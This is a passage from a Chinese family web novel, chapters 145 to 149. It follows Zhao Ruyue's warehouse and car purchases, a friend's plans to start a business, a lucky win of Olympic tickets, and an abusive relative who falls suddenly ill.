只是专门的仓库一向比较短缺,毕竟做通用仓库可选择的客户类型更多,只偏向于一种类型的商品,对于仓库主人来说,空置的风险就比较大了。 这些赵如月以前也跟很多人一样并不知道,她和宁绍明也是买下那块地之后,特地在省城找专业的人咨询过,又上网查了不少资料才知道的。 她在知道仓库也会短缺的时候,也非常惊讶。 原本他们只是想着,不让这块地白白空放着,建个仓库租出去,只要平时维护起来不让她家亏本经营就行。 没想到一深入了解,才发现这个生意还挺有赚头,只是普通人根本用不到,所以平时关注到这一行的人比较少。 小卖部赵如月也还是要开,不能只靠着出租仓库回本,小卖部开起来比给仓库找客户要简单许多。 她打算把那块地分出一小块靠近马路的地方,建个小平房。 小平房建起来速度快,晾干就能入住,甚至不用装修。 现在很多人建自己家的房子也是这样,主体建好之后,没钱装修了,装上水电,墙面连水泥都不刮,砖墙就这么裸露着,就直接进去住毛坯房,慢慢攒钱再装修。 这个小平房一开始也可以暂时不装修,先给墙上刮个水泥,这样掉灰不那么严重,然后就可以给来建仓库的工人当临时宿舍住着。 等仓库建好,工人离开后,只需要简单地刷个墙刮大白,地面铺上瓷砖,翻修一下厕所,就又是一间新房子。 这样给仓库找客户的时候,小卖部就能开业了。 赵如月跟宁绍明商量好,两个人就各自分工,赵如月去省城陪妹妹看铺面的时候,顺便去了解建筑公司以及省城的市场,还有各个仓库的情况。 她帮着赵如媛找到合适的铺面后,没过多久,也把省城这边的仓库出租行情以及省城租赁仓库的主要商家类型都了然于胸。 最后赵如月把仓库的建造偏向,定在药材上。 他们这里经济算不上多好,但自然条件优越,产出的药材质量非常好,是省内发展得比较好的行业之一。 对仓库的需求量比较大,要求也不低。 前期的投入可能比她预想的要多一些,但后期几乎不用担心仓库租不出去,空置的情况。 赵如月的这些前期工作完成之后,后面就是宁绍明的活了。 虽然很不高兴承认,但现在建筑公司里确实是男人比较多,素质也都不怎么样,还隐隐会看不起人,女业主跟他们沟通起来非常费劲。 赵如月觉得把时间花在跟他们沟通上面,简直是浪费,费心费力说半天,可能最后还是得一句:你不懂这个,我还是跟你老公说吧。 不够气人的。 真生气了要求换人来,还要被说女人就是爱计较。 不如一开始就让宁绍明去沟通,直接一劳永逸,完全不用她费心了。 现在的大环境,她改变不了,还不如把时间花在自己感兴趣的工作上。 苏胜楠那边,公司发展得比她当初预想的还要好。 苏胜楠打算把分公司开到省城,省城的市场更广阔,公司对女师傅的需求更大了。 赵如月培训的速度都不太能跟得上,公司业务量增加的速度。 现在苏胜楠自己也得留在公司给员工做培训,公司有了专门拉业务的业务员,她已经不用经常往外跑拉客户了。 最近又打算在省城开分公司,赵如月帮妹妹找完铺面,忙完自家仓库的前期工作,好不容易休息了一段时间,现在又要往省城跑。 苏胜楠听说她给她妹妹找到了非常合适的铺面,赵如媛夫妻俩本来也是比较雷厉风行的那一类人,铺面需要装修改造的地方又不算多。 他们抓紧时间装修后,现在小龙虾店也开起来了,因为位置合适,味道的也不错,小龙虾店一开张生意就有点火爆的势头。 苏胜楠就觉得赵如月非常旺身边人的事业,非要她帮自己看看分公司的办公地址。 赵如月只好又开始在省城、县城和市里三个地方来回跑。 虽然有时候可以包郑秀的车,但是郑秀接了不少包月的生意,主要还是在县里跑,遇上她没客人,才能载赵如月去市里和省城。 大部分时候,赵如月还是得自己去乘坐公共交通。 宁绍明看她每天要花费不少时间在等车和坐车上,来回奔波,有点心疼,就问她要不要买辆车:“我们的驾照早考下来了,一直没买车,要不买一辆小车你开?” 其实之前赵如月第一次这么三个地方来回跑的时候,宁绍明就想提这个事了。 只是又想着这是暂时的,以后不会经常需要三个地方来回跑,才没提。 可是等苏胜楠在省城的分公司开起来,肯定还要他媳妇儿去帮忙。 这么一来,暂时的三地来回跑,很有可能变成长期,她还是得有一辆车代步比较方便,也能节省很多在路上花费的时间。 赵如月听到这话愣了一下,想到宁绍明自己早就因为要盯着仓库的施工和进度,需要频繁地两地来回跑,而且接送孩子这事,他也没说因为要忙仓库的事,就不干了,还是照常跟她轮流接送。 她自己去省城和市里都是在城区打转,打车很方便。 宁绍明坐车到了省城还不行,还得转两趟公交车去郊区。 去郊区的车可不多,打车费还贵,赵如月知道,他肯定舍不得每次去仓库那边时都打车。 工地的工人跟他混熟了,还跟他开玩笑,说他一个老板竟然没车。 即使这样,他都没想过给自己买一辆车子代步。 赵如月回过神来,心里有点感动,也为自己没注意到这事,有些自责自己最近对他太不够关心了。 情绪影响下,她一个冲动就说道:“买两辆,我们一人开一辆!” 等冷静下来后,赵如月也没为自己冲动之下做的决定而后悔。 干脆趁着这一天刚好有空,直接拉着宁绍明一起去汽车城看车去了。 第146章 赵如月从决定买车到付钱提车没超过一天。 到了汽车城,他们对车子的第一个要求就是要有现货,需要等的车不要。 他们买车就是为了能有一个代步工具,什么开好车出去撑面子之类的,他们都没考虑。 宁绍明甚至想着,自己开的那辆可以买面包车,以后好给自己家店拉货。 到时候不管是进货还是往分店送货都很方便,尤其是货量少的时候,花钱租车装不满就觉得有点亏,用自家的车就是费点油钱。 面包车的后备箱本来就非常能装东西,要是把后排的座椅拆掉,那就更能装了。 最后在宁绍明的坚持下,还真买了一辆面包车。 赵如月考虑到自己家的人比较多,不算老人,只算他们一家就有四口人,有时候要带婆婆去市里复查,公公肯定也要跟着一起去。 她有车的话,去县城或者市里,有亲戚或者朋友想蹭个车也很正常。 谁让她嫁人嫁得近,跟宁绍明在镇上有几十年感情又玩得好的发小朋友都不少呢,这个避免真不了。 而且她家还有个编外小孩姚据,现在她和宁绍明带孩子出门玩的时候,除非是跟亲戚一起,要不然只有他们一家四口出游的时候,肯定也会带上姚据。 还有苏胜楠那边,公司的车不够用。 现在省城的分公司场地还在看,没那么快能定下来,苏胜楠需要经常往省城跑,公司就两辆车,她就占了一辆车,更不够用了。 这种情况需要持续不知道多久,因为苏胜楠在考虑是租现成的办公场地还是买,又或者是自己买地建一个。 这个急不来,所以现在公司只暂时在省城设立了一个临时办公室。 给省城分公司准备的员工,现在依然在县城这边的总部培训,到时候培训好了,再把人带到省城,到时候八成也要用到她的车。 买普通的比较矮的那种小汽车,很多时候肯定都坐不下。 考虑到这些,赵如月就买了一辆能载人比较多的SUV。 虽然价格贵点,但确实比较实用。 办好所有手续后,两人开着车回家,去接孩子放学。 他们一开始在车上坐着没下来,车子停在学校门口,还被保安盯了好久,尤其是宁绍明开的面包车。 现在的小孩大部分都是自己上下学,除了幼儿园和学前班的小孩,从小学开始就很少有家长来接,传闻有些人贩子就是开类似的面包车拐孩子。 保安生怕这车也是趁着放学人多,来学校门口想浑水摸鱼拐孩子,一直站在他们车子附近。 赵如月和宁绍明本来还没发现,自己被警惕了。 等到学生放学,宁绍明看到自家两个孩子和姚据从学校走出来,摇下车窗,三个孩子却看也不往车子这边看一眼,目不斜视地经过,继续往前走。 他一着急就下了车,从后面把闺女抱起来了。 结果闺女被吓了一跳,以为遇到坏人了,这机灵的小姑娘看也不看,动作利索得很,猛地用后脑勺往后一撞,精准地撞在宁绍明高挺的鼻子上。 瞬间疼得宁绍明眼泪都飚出来了。 旁边早就盯着他车子的保安赶紧上前,呵斥:“你是谁?要干什么!快把孩子放下!” 宁绍明被闺女‘重创’,捂着鼻子半天没缓过来。 还是赵如月看情况不太对,也赶紧下车跑过去解释:“这是孩子爸爸,他就是想给自家孩子一个惊喜,没想到把孩子吓着了。” 保安是新来的,没见过他们,不相信她的话,以为这也是个同伙。 好在宁时夏看清刚才抱起自己的人是谁后,赶忙跟保安解释:“叔,这确实是我爸,刚才他从后面吓唬我,我没看清是谁才揍他的。” “真的啊?”保安还是有点不放心。 宁时夏点头:“不信你问问你们队长,我爸妈隔三差五就来接我们放学,他见过好多次了。” 保安拿起对讲机问队长,保安队长过来看了一眼,确认这两个确实是孩子家长,才让他们把孩子带走了。 赵如月哭笑不得地给宁绍明检查鼻子:“还好,只是看起来有点红,没流鼻血。” 宁绍明摸摸鼻子,缓过来后没那么疼了,捏一捏也没感觉有什么问题,估计孩子力气还是比较小,没那么容易给他撞成鼻子骨折。 不过以后惊喜什么的,还是给老婆准备吧,给孩子准备容易变成惊吓。 宁时夏讪讪地牵住他的手道歉:“爸爸对不起,我刚才不知道是你。” 宁绍明用另一只手揉揉闺女的小寸头笑道:“没事,爸爸也有责任,你也是突然被吓到了,遇到危险会反击,爸爸高兴还来不及呢,看来你们上的兴趣班还挺有用的。” 他本来还以为只是让孩子去跟同龄人玩玩,学个花架子,没想到还真有用,就觉得那些钱花得真值! 为了安慰爸爸,宁时夏特地没去妈妈那辆好看的四轮车,坐上了爸爸开的面包车。 一路上各种夸她爸,什么开车真稳当、开车姿势真帅、戴墨镜的样子特别酷,像电影演员之类的。 一连串的好话,把宁绍明哄成了个只会傻笑的傻爸爸,回到家,晚饭做的全是他闺女爱吃的菜。 对于家里一下子多了两辆车,两个孩子都没什么特殊的感觉,他们还在镇上上学的时候,就经常坐郑秀的车往返镇上与县城之间,早已经习惯了坐汽车。 这次家里买车,他们还不如以前家里刚有第一辆两轮摩托车的时候来的兴奋,那时候天黑了还非要让爸妈轮流带着他们骑车出去兜风呢。 也就有点郁闷,家里没等到他们长大就买车了,原本他们还想着等自己长大给父母买车来着。 不过现在父母自己能买车,也不代表他们以后不能再给给父母买了。 宁时夏特地去找爸爸妈妈商量,她认真地问:“我们家能不能暂时就买这两辆车?” 她担心爸妈买车跟买房一样,买了两套又买两套,现在羊城那边有四套,鹏城有四套,在县城田清姐姐开网吧的那个小区还买了六套,在加上现在正住着的房子还有镇上的两套院子。 宁时夏一双手都数不过来。 “我们家竟然有那么多房子了……”女儿一一数出来后,宁绍明也跟着感慨。 这些房子,除了鹏城那边的房子主要是他跟黄文发沟通,其他房子都是赵如月负责。 女儿不说他还对家里房子的数量没什么概念,这么一算,他也才发现家里房子好像有点多。 “是呢,我在妈妈放东西的抽屉里看到这么一沓红本本,”宁时夏比划了一下那些红本本摞在一起的厚度,继续说道,“所以我们家可不可以先只买这两辆车?以后的车,等我和哥哥长大了再给你们买好不好,要不都没有我们发挥的地方了。” 宁时夏也不是对给父母买车这事有什么执念,她只是觉得以前都答应了,不完成承诺的事不好。 可要是到时候家里有好多辆车了,他们再买又有什么意思呢?也用不上。 这个要求不难,赵如月和宁绍明好笑地点头答应,没说他们其实本来就不打算再买车。 一辆车维护得好的话,能开十几年,到时候孩子愿意给他们换车,现在这两辆也刚好能拉去报废了。 赵如月买了车后,想起修车铺的水也挺深,又开始自学修车。 她本来还想报班学来着,可现在要忙的事情不少,而且也不打算拿这个挣钱,又实在是没法跟以前一样,每天专门腾出这么一大块时间去待在教室里听课了。 就只好自己买相关的书籍,还有在网上找教程自学。 赵如月有车后,出行果然方便多了,范小蓉又一次来县城给她送货,也是好久不见了,特地来看她和她的家人。 这次是赵如月开车去接她。 范小蓉看到赵如月自己开车来的,直冲她竖起大拇指:“我就知道姐你肯定能学会开车,我们小夏夸的没错,她妈妈就是最厉害的!” 赵如月被女儿夸的时候,已经能坦然接受,并且跟女儿互夸了,但被朋友夸还是会有点不好意思:“哪有那么夸张,也是多亏你的鼓励和启发,要不光是学车这个事,我估计我也要犹豫很久。” “快上车,”赵如月看她还有要夸自己的趋势,赶紧转移话题,“我家里有客房,这次不住酒店了,直接去我家里住。” 范小蓉父母缘浅,把赵如月当朋友,也把她当长辈看待,赵如月也常不自觉以长辈的姿态关照她,她就特别想跟她家亲近些。 闻言高兴道:“那感情好,在县城的这几天,能天天尝到你家大厨的好手艺了,还能天天跟小夏他们一起玩!” “他们可盼着你去了,今天早早就催我来接你。” 范小蓉笑着问:“那几个小家伙,是盼着我还是盼着我给他们带的游戏卡带?” 赵如月玩笑道:“这个可不好说,等到了家你得好好问问才知道。” 范小蓉大笑:“好,到时候我逗逗他们!” 玩笑后,范小蓉在车上跟赵如月谈起正事:“姐,我可能要辞职了。” 赵如月有些意外,担心她是不是被人欺负了,忙问道:“不是一直干得好好的,为什么突然就要辞职了?” 第147章 范小蓉跟赵如月太熟了,一看就知道她在想什么,笑着解释道:“姐不用担心我,我不是跟人闹矛盾才想离职,我早就升职到管理层了,也没什么人能欺负我,只是觉得继续待在现在的企业,已经学不到更多有用的东西,该学的已经全都学会了,后续上升空间不大,所以才想辞职出去自己创业。” 听到她说没受委屈,赵如月就放心了。 范小蓉有能力、有经验,工作这些年也攒下来不少人脉,也还年轻,正是有闯劲、该拼事业的年纪,会有自己创业的想法很正常。 现在很多行业刚起步,正是创业的好时候,赵如月也挺支持她的:“要是创业的钱不够,别自己硬撑着,跟我说一声,我能帮的话,肯定会尽量帮你。” 范小蓉就知道赵如月会这么说,她小姨对她也很好,但是小姨眼界有限,把创业视作洪水猛兽,更希望她拿一份稳定的工资。 “谢谢姐,要是真需要帮助,我肯定不会跟你客气的,不过我跟别人合伙创业,合伙人能投的资金不少,她负责钱,我负责业务,应该不会缺钱。” 赵如月听到她说跟别人一起创业,脑子里不由冒出来一个人的脸:“跟你合伙创业的人,不会是当初我们全家一起去羊城的时候,遇到的你那个邻居兼同事吧?” 如果是那个女孩子,那她家境确实不错,要上班了,父母都特地先来到她上班的地方,替她安排好住的地方,直接在她工作地附近买了一套房子,还给她装修好等到能入住才走的。 范小蓉道:“就是她!当初你帮忙修过她家漏水管的那个女孩子。” 赵如月感慨:“那可真是太有缘分了。 “是啊,本来她是想着在外面工作一段时间,在别家企业里多积攒一些经验,然后再回到她自己家的公司工作,但时候后来跟我处得好,知道我有心想辞职出来单干,二话不说就也要跟着我一起。” 范小蓉一庆幸自己在鹏城的时候没有真的寻短见,她现在非常信封一句话:活着就有无限可能。 那时候的她,以为自己这辈子就这么毁了,不如死了算了,重新投胎没准阎王爷看自己那么可怜,会给她投胎到好人家。 事实告诉她不一定,她的人生不一定就这么被毁了,那时候真死了也不一定真能投胎到好人家去。 但这些都是假设,只有她努力工作后,得到的结果最真实,所以她有继续往更高的地方闯一闯的想法。 “你以后开的公司,打算做什么业务,还是销售?”赵如月问道。 范小蓉摇头:“确切地说是做营销和广告,销售包含在营销里,广告是我合伙人以前学的专业,我还没怎么接触过,以后可能我就先负责营销这个方面的业务,广告方面由她负责,不过我已经打算在业余时间报班学习,同时也跟着她多学学。” 赵如月建议她:“如果可以的话,你可以继续进修学历,哪怕是成人继续教育也是不错的。” “我也是这么想的,反正能学到相关知识的方式,我都会去尝试,要是到时候不适应再说。”反正她现在哪怕只是自己给自己托底,也有很多试错的机会。 范小蓉又说起以后赵如月这边货源的事:“你店里的货源不用担心,过两天厂子那边会有新人来跟我交接工作,顺便跟你对接,这次我离开厂里,是跟他们和平解除劳动关系,没跟厂里闹掰,我以后在羊城见到什么新的款式也还是会跟你说,新接手的业务员跟我关系也很好,到时候如果我没办法来,也会让她带来给你。” 赵如月说道:“你们要是忙的话,我自己去拿货也可以,现在路上也不像以前那么乱了,明年就是奥运年,各地的治安都好了很多。” 说到奥运,范小蓉懊恼地拍了一下自己的脑袋:“你不说这个我还真忘了,我合伙人给我弄了几张比赛的门票,我本来想这次一起给你们带来,出门之前一直想着千万别忘记这事,结果竟然越念叨越容易忘记,给拉在家里了。” 赵如月惊讶地说:“你合伙人可真厉害,听说门票很难弄到,她竟然还有多的送人。” “其实比赛的门票还好,有些不那么热门的比赛,票就没那么难抢,想乒乓球之类在国内热门的,想抢都抢不到,不过最难抢的还是开幕式的门票,那个是真的想抢都难,就算找黄牛买,没正经门路,也容易被骗,得自己申请,然后再抽签。” 赵如月想起来,奥运会她忙着各种事没多少时间去关注,倒是家里的孩子,因为上学时学校和老师总提起,很多作业和活动都时常与奥运相关,他们就比她关注很多,前阵子赵如月也听几个孩子说,他们自己捣鼓着抢票了。 “开幕式门票小秋和小夏几个孩子也在家里用电脑弄,我没问过具体情况,倒是不知道他们有没有抢到,比赛门票这次忘了没关系,反正离奥运会还远着,等过段花时间,两个孩子放寒假,我再带他们去羊城玩一趟,到时候去找你。” 范小蓉算算时间,现在她只是刚跟厂里商量辞职的事,厂里离职要提前一个月提交离职申请,后续她还要跟接手自己工作的人交接,正式离开厂里怎么也得要一个月之后。 忙忙碌碌工作那么多年,范小蓉极少能有停下好好休息,放空自己什么都不去想的时候。 最开始她想挣钱还欠下的医药费,后来在赵如月的帮助和劝说下,重新拾起了生活的信心,又想有点存款傍身。 再后来想有个自己的小家,又为买房努力,买了一套又想买第二套,有了第二套,又起了创业的念头,继续为创业的起步资金攒钱。 他们寒假去的时候,自己刚好处于正式离职后到开始筹备开公司一应事务之前,正好能腾出时间来休息一小段时间,就当自己给自己放个假了。 范小蓉想好后笑着说:“那感情好,那时我应该可以陪你们玩几天,到时候你们提前办好护照和港澳通信证,我们可以一起去港岛和澳门玩几天。” 回到家后,几个孩子看到范小蓉果然很开心,然而陪她玩了一会儿,几个孩子就迫不及待地带着游戏卡带一起打游戏去了。 范小蓉装作一脸唏嘘的样子说:“果然你们只喜欢我带来的游戏卡带,一点也不在乎我。” 引得几个孩子轮番上阵哄她开心,范小蓉憋笑半天,终于没忍住笑喷,几个孩子这才知道自己被她忽悠了。 不过他们也早就习惯了,也没生气,只是装作生气的样子,愤愤地要求她也要陪着他们一起玩游戏,才不跟她计较她逗他们的事。 范小蓉乐得跟他们一起玩,跟几个孩子凑在一起,就仿佛自己也返老还童,回到了儿童时期似的,可惜她的儿童时期没这么幸福。 所以每次跟他们玩,就像在弥补自己的童年。 因为她不常玩游戏,几个孩子玩得都比她厉害,跟他们玩游戏,几乎每次都是她失误。 但她即使在关键的时候失误,他们也不会大声嚷嚷地嫌弃她,也不会不让她继续玩了,反而会很耐心地教她,仿佛她不是姐姐,而是妹妹。 范小蓉每次跟他们玩完都特别感慨地跟赵如月说:“姐,你家孩子可真好,性格好、脾气好、长得也好。” 然而范小蓉不知道,他们并不是对所有人都那么随性、宽容的。 之所以对范小蓉这么好,是因为在他们看来,范小蓉也是家里的家里另一个编外小孩。 只是她跟姚据不太一样。 姚据现实中来他们家比较多,而她因为要工作,只能在电话和网上沟通比较多,但有什么事都会打电话来跟妈妈说,没事也会打电话回来跟他们闲聊,是他们家另一个形式的编外小孩。 快乐的日子终究是短暂的,范小蓉只有刚到达云山县的这天稍微有空一些,交接的人说是过几天到,其实第二天很快就到了。 她带着新业务员跟赵如月认识了一番,又抓紧时间跟新业务员交接好,就得赶往下一个客户那边。 厂里愿意跟她好聚好散,她也投桃报李,尽量把交接工作做好,帮厂里维护住那些她发展出来的客户。 以后她的业务跟厂里没有利益冲突,现在工作的厂子没准还有可能成为她未来的客户,所以即使即将要离开,范小蓉也想尽量做得尽善尽美。 她有好几个客户在省城那边,赵如月正好也要跟苏胜楠去省城那边看地,就载着她一起去了。 因为赵如月的缘故,苏胜楠跟范小蓉也互相熟识。 为了方便她们说话交流,赵如月让她们一起坐在后座,自己给她们当司机。 这两个女孩,一个是已经创业成功的人,另一个是即将创业的人,在车行就忍不住开始交流经验。 主要是苏胜楠在说,范小蓉在听,苏胜楠跟范小蓉分享自己创业过程中踩过的一些坑,还有一些在不用行业也可以通用的经验。 她们都算是白手起家的类型,苏胜楠的经验对范小蓉来说非常宝贵,要不是互相之间关系好,她可不会轻易教。 赵如月透过后视镜往后看了一眼,会心一笑,脑中浮现出刚认识她们时的样子。 她们当年那稚嫩的脸庞与现在干练的模样在她脑海不断闪现交织,最后定格于现在。 短短几年,跨过各自人生中的坎,她们已经成长到如今坚韧、自信、耀眼的模样。 连一路见证她们成长的赵如月都忍不住心生感慨。 有时身处其中,真的会很难觉到身边人的变化。 她只是在能帮的地方,尽量去帮一把。 一回过神,当年的小姑娘,一个已经被别人称为苏老板,另一个也已然是别人口中的范总。 第148章 “你看这块地怎么样?还有这块,我觉得这两块面积和位置是最合适的,公司也吃得下,”苏胜楠把整理好的资料放到赵如月面前的办公桌上,“我让她们把面积符合要求的地都挑出来了,包括我看好的那两块地在内,省城目前只有这几块地是有意向竞标出售的。” 她们不是房地产公司,但是想买地也得跟别人竞争。 不过现在房产地产市场就是一块香饽饽,不管哪个行业、原先做什么的公司,几乎没有人不想冲进房地产市场咬一口这块香饽饽。 掺一个苏胜楠的公司进去不是什么稀罕事。 她这还算好的,至少还是正经公司呢! 现在审查不严,有些公司干脆就是空壳一个。 就算资质不够,也可以找人想办法,或是收购一个有资质的皮包公司,或是先跟别人合作,借着那些有资质的公司的名义,先把地拿下,然后再转让,办法多的是,就看人有多大胆。 赵如月大概看了一下,接着就说出自己的想法:“我不怎么看好买省城城区的地。”苏胜楠公司的客户绝大部分都在城区居住,公司当然是离客越近越好。 所以苏胜楠让员工整理的土地资料,全都是城区地块的资料。 赵如月不太建议苏胜楠去蹚这一趟浑水:“别看这些地不大,但它们的位置都在城区,周边的配套设施非常完善,不会因为面积小,抢的人就不多。 另外,那些能拿下地的人,背后多少有点关系,你白手起家,用正常手段不怕跟别人竞争,怕就怕别人不讲武德,不愿意良性竞争,到时候别说买地,可能还会被人盯上。” 现在把目光投向苏胜楠公司主要业务的人还不多,她们的竞争对手少,公司非常不起眼,羽翼不丰,正是需要闷声发展的时候。 因为一块地,过早被注意到,真的是得不偿失。 “那我们买商铺或者商业楼里的办公室?” 赵如月点头:“最好还是在这两种里面选。” 苏胜楠本来想着自己买地盖办公楼更划算,还能多往上建几层,给员工提供住宿。 现在谁都知道城里的地值钱,可也得有门路在不得罪人的情况下买到手才行,要不然后面施工的时候,人家多的是手段去捣乱。 苏胜楠也听劝,分析过后觉得赵如月说得很对。 就把那些土地的资料封存起来,转而看起公司附近的商铺。 放弃买地的选择后,给分公司办公室的进度就加快了很多。 省城的商铺和办公楼不少,只是办公楼出租的多,出售的少,苏胜楠被赵如月影响,很多都是能买绝对不租。 苏胜楠果断又放弃了办公楼,在一个距离省城中心CBD比较近的小区买了几间商铺打通,一共两层楼,每层五间商铺,以后做成办公室、会议室什么的完全够用了。 而且周边的小区几乎都是高档小区,要么就是曾经的机关部门家属区,这代表着需要她们公司父母的人就不会少。 地方是赵如月跟苏胜楠一起去实地看过后,马上就定下来的。 装修商铺可比重建一栋楼方便得多,她们公司也不需要过多地去装修,找了专业的装修公司,跟人家说清楚自己的需求后,装修的进度也很快。 苏胜楠又忙碌起公司生成分部的装修和在省城的业务。 去省城帮苏胜楠找办公地址的事结束后,剩下的事赵如月就不用管了。 赵如月也稍稍有点空闲时间,当然这只是相对来说有点时间,实际店里的生意依然红火,她还是要坐回自己的小操作间,继续修理东西。 有时候外面客人实在太多,营业员忙不过来,她也会出去帮忙接待一下客人。 今天是星期五,几个孩子放学的时候,赵如月还没下班。 她虽然是店里的老板,却也给自己安排好了固定的上下班时间,要不这样的话,可能一整天,从上班到打烊的那一刻都要忙碌工作。 这绝对不是赵如月想要的。 今天她在操作间修理东西的时候,几个孩子就在外面帮负责代下单业务的员工干活。 其实他们主要也是想玩电脑,等他们帮别人下单之后,这一波客人走了,下一波客人还没来的期间,他们就能玩自己想玩的。 操作间里的赵如月突然听到他们很兴奋地大声‘哇’了一声。 她放下手里的活,正打算出去看看怎么回事,几个孩子就冲进来,拉她出去。 赵如月不解地问:“怎么回事,你们刚才发现什么新奇的东西了?” “不是不是,你过去看就知道了!”他们还在卖关子呢,非要赵如月自己去看。 赵如月出去的时候,因为快到饭点了,店里没什么客人,店里的几个销售员凑在屏幕前,指指点点地说话,满嘴都是真不可置信之类的话。 看到她出来,也是跟几个孩子一样,一脸兴奋的样子,催赵如月赶紧过去看。 赵如月站在外围看到的是一个打开的网站,她走近定睛一看:“竟然是开幕式的门票!你们也太厉害了吧,这都能抢到!” “不是抢的,是我们运气好,抽到的。” “抽到的?”赵如月有些狐疑,那门票是真正的僧多粥少,想被抽中一次比中彩票还难,抽到一两张,已经算是特别幸运了。 光凭这门票,一张就可以换不少钱,黄牛把价格炒得比黄金还高。 那么难抽中,他们却一抽就抽到好几张票,全家的幸运值竟然这么高? 赵如月想起儿子和闺女都学了编程,他们不会自己弄个抢票的代码,作弊抢票吧? 这么想着,赵如月就比较委婉地把这话问了出来。 几个孩子听到她的想法,轮到他们有些哭笑不得了。 宁时夏可受不得这样的质疑:“都能抽到票是因为我们特别特别幸运,我们可没作弊,抽签可是工作人员抽的,几乎没法作假。” 宁时秋也说道:“妈妈不相信我们,难道还不相信官方吗?人家的网络信息技术可比我们厉害多了。” “妈妈当然是相信你们的,只是觉得太巧,我们家包括锯子在内,竟然每个人都抽到了,才会这么诧异,今天你们确实是太幸运了!到时候我们带你们一起去首都玩!”为了补偿自己误会几个孩子的事,赵如月又补充了一句,“到时候去哪玩都听你们的,如果锯子的家长同意的话,锯子要不要跟我们一起去?” 姚据怎么可能不同意,他猛点头,然后说道:“我爸妈肯定会同意的。” 心里想的却是:他爸妈那时可不一定知道他要去首都的事,他也不会主动跟他们说,没准自己都从首都玩一趟回来了,他们都没发现都有可能。 他们这边正高兴着,另一边宁时春也高兴坏了。 他顾不上继续煮客人点的餐,径直从厨房里出来,搓着手问:“医生真说有了?” 他说着眼神期盼地看向孙佳佳。 孙佳佳红着脸,把检查报告拿出来:“你自己看,这还能有假?” 宁时春把她的病历和检查报告,仔仔细细地一行行看过去,即使有些内容他根本看不明白,但就这么看着也忍不住开始傻乐呵。 店里点了餐正等着吃的客人见状也不催他,反而一叠声地恭喜他快要当爸爸的事。 宁时春一高兴,给店里所有的客人都免了单,这下客人们也高兴了,说恭喜的话说得越发真心实意。 得知自己即将当父亲,宁时春第一时间告知的却不是自己父母,而是赵如月和宁绍明。 让宁绍贤知道了自己比宁绍明知道这事的时间晚,免不得又在心里抱怨,觉得这儿子白养了,养大了竟然胳膊肘往外拐,就差没把户口迁到老三家,成老三儿子了。 可这事他虽然心里不舒服,但他已经上了年纪,担心以后儿子真不给自己养老,不敢对宁时春怎么样,甚至连说几句重话都不太敢。 奈何不得宁时春,宁绍贤就把脾气撒在了王海燕身上,经过上次闹离婚后,王海燕不太敢跟他顶起来了,被他打几下,只要他不是太过分,也只默默忍受着。 反正宁绍贤不敢打她得太厉害,他也担心被儿子女儿看到,儿子女儿跟他闹。 王海燕不后悔当初自己说过的话,她觉得现在的事实更是证明了,自己的话都对,儿女已经长大了,两人都是她的倚仗,丈夫就不敢做得太过分! 宁绍贤也知道这一点,所以打了王海燕几下,就改成在家里骂骂咧咧,摔锅砸碗。 他发癫的事后,王海燕就站在角落里,尽量减少自己的存在感,等宁绍贤骂完了砸完了,再重新收拾。 每次王海燕都恨不得宁绍贤能遗传婆婆的毛病,这家伙那么爱生气,他怎么就不跟宁老二一样,一气之下给自己也气得差点半身不遂呢? 宁绍贤打砸了几下,又踹了几脚桌子,把自己的脚踹疼了,也觉得自己一个人唱独角戏很没意思,才终于停下。 他踹疼脚的时候,本以为自己的脚只是不小心用力过,收不住劲,猛然踹到了实木桌子的桌腿,才会那么疼,脚看起来也没伤筋动骨,就想着肯定过个几分钟就好了。 没想到腿上的疼痛竟然越来越严重,他一开始还硬撑着,到后面竟然疼得脸色发白、冷汗直冒。 王海燕不敢耽搁,赶紧打电话叫救护车,镇上的救护车来得快,镇医院的医生水平有限,负责检查那些项目的医生都下班回家了,宁绍贤腿疼的查不出来原因。医生就建议他们转院到市里或者省城更好的医院。 宁绍贤这时已然没了白天时在家耀武扬威的样子,整个人抱着疼痛的腿缩成一团,仿佛这样就能缓解那像是从骨头缝里钻出来的疼痛一样。 第149章 镇上的医生给宁绍贤开了止痛药,好歹让他没那么难受了。 止痛药见效后,宁绍贤停止哀嚎,终于找回了理智,顾得上说话了,立刻催着王海燕赶紧给儿子打电话,让儿子带自己去省城看病。 那像是从骨头里钻出来的疼痛感,让宁绍贤心有余悸,他不想再经历一次,也怕自己真有什么毛病。 镇上现在发展得越来越好,眼见着儿子有出息,女儿也快毕业能挣钱了,他家的日子越来越好,还想多活几年享福,他可不想死。 宁时春为了方便联系,也给王海燕买了一部手机,她在医院给宁时春打电话的时候,宁时春正在忙,她打了好几个电话才接通。 宁绍贤在旁边看着,心里很不高兴,嘴里嘟嘟囔囔地抱怨:“我们给他打电话他就不接,要是换老三夫妻俩给他打电话,没准响一声他就接了,这儿子算是白养了!” 王海燕白了他一眼,心想:你这当爹的还不如老三这当叔叔的对儿子好,不但给不了儿子帮助,还给儿子拖后腿,竟然好意思怪儿子跟你不亲近? 她转过身去不搭理宁绍贤,拿着手机走到了远离病床的窗边。 又打了两个电话,宁时春终于接了。 电话那头传来餐饮店嘈杂的声音,王海燕就知道,儿子并不是像宁绍贤说的那样,故意不接她的电话。 “时春,你爸病了,在镇医院检查不出来是什么病,镇医院的医生说,让他去县城或者省里检查,我也不懂这些,你看你什么时候有空,回来一趟带你爸去县城看看。” 她话音刚落,宁绍贤就嚷嚷起来了:“我不是跟你说了,让他带我去省城的医院看,县里的医院哪有省城的医院水平高!” 王海燕仗着正在跟儿子通电话,宁绍贤不敢对自己怎么样,直接反驳他:“现在佳佳怀着孩子还不满三个月,需要多休息,没法跟以前一样干那么多活,店里很多事都是小春在忙,他哪能腾出那么多时间带去你省城! 你也老大不小了,快要当爷爷的人,能不能懂点事,学着多体谅体谅儿子!去县城就差不多了,到时候小春带你去县医院,也不用耽误开店。” 宁绍贤狠狠地瞪了她一眼,但也没再说话了。 他还要倚仗儿子带自己去看病,担心这婆娘在儿子面前乱说,让儿子对他有意见,以后对自己不上心,他也还得指望着婆娘伺候。 以前年轻力壮的时候还能不在乎,今天进医院,突然意识到自己身体机能下降,竟然真的到了需要儿女帮助的年纪,宁绍贤就不得不收敛了脾气。 宁时春也确实特别忙,自从知道孙佳佳怀孕后,他就想着多挣点钱,好给自己孩子多攒点家底。 虽然现在只能生一个孩子,不需要像老一辈一样还要每个孩子都顾虑到,可一个孩子也意味着孩子以后没兄弟姐妹帮衬。 不多给孩子准备点钱,万一遇上什么事,那可真是钱也没有,人也没有。 多给孩子攒钱财产,以后遇上事,没有人还能用钱解决。 